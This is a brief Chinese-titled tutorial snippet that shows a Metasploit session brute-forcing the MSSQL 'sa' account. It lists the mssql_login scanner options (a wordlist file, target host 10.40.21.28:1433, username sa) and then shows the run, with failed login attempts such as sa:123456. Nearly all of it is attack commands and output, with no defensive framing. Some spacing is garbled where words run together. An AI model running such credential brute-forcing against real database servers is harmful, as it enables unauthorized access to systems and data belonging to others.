msf 连接mssql_MSF爆破MSSQL

msf auxiliary(scanner/mssql/mssql_login) >show options

Module options (auxiliary/scanner/mssql/mssql_login):

Name Current Setting Required Description---- --------------- -------- -----------BLANK_PASSWORDS false no Try blank passwordsforall users

BRUTEFORCE_SPEED5 yes How fast to bruteforce, from 0 to 5DB_ALL_CREDS false no Try each user/password couple stored inthe current database

DB_ALL_PASS false no Add all passwordsinthe current database to the list

DB_ALL_USERS false no Add all usersinthe current database to the list

PASSWORD no A specific password to authenticate with

PASS_FILE/home/i3ekr/Desktop/dict/pass-top100.txt no File containing passwords, one per line

RHOSTS10.40.21.28 yes The target address range orCIDR identifier

RPORT1433yes The target port (TCP)

STOP_ON_SUCCESS false yes Stop guessing when a credential worksfora host

TDSENCRYPTION false yes Use TLS/SSL for TDS data "Force Encryption"THREADS1yes The number of concurrent threads

USERNAME sa no A specific username to authenticate as

USERPASS_FILE no File containing usersandpasswords separated by space, one pair per line

USER_AS_PASS false no Try the username as the passwordforall users

USER_FILE no File containing usernames, one per line

USE_WINDOWS_AUTHENT false yes Use windows authentification (requires DOMAIN option set)

VERBOSE true yes Whether toprint output forall attempts

msf auxiliary(scanner/mssql/mssql_login) >run

[*] 10.40.21.28:1433 - 10.40.21.28:1433 - MSSQL -Starting authentication scanner.

[!]10.40.21.28:1433 - No active DB -- Credential data will notbe saved!

[-] 10.40.21.28:1433 - 10.40.21.28:1433 - LOGIN FAILED: WORKSTATIONsa:123456(Incorrect: )

[-] 10.40.21.28:1433 - 10.40.21.28:1433 - LOGIN FAILED: WORKSTATIONsa:npdx123！ (Incorrect: )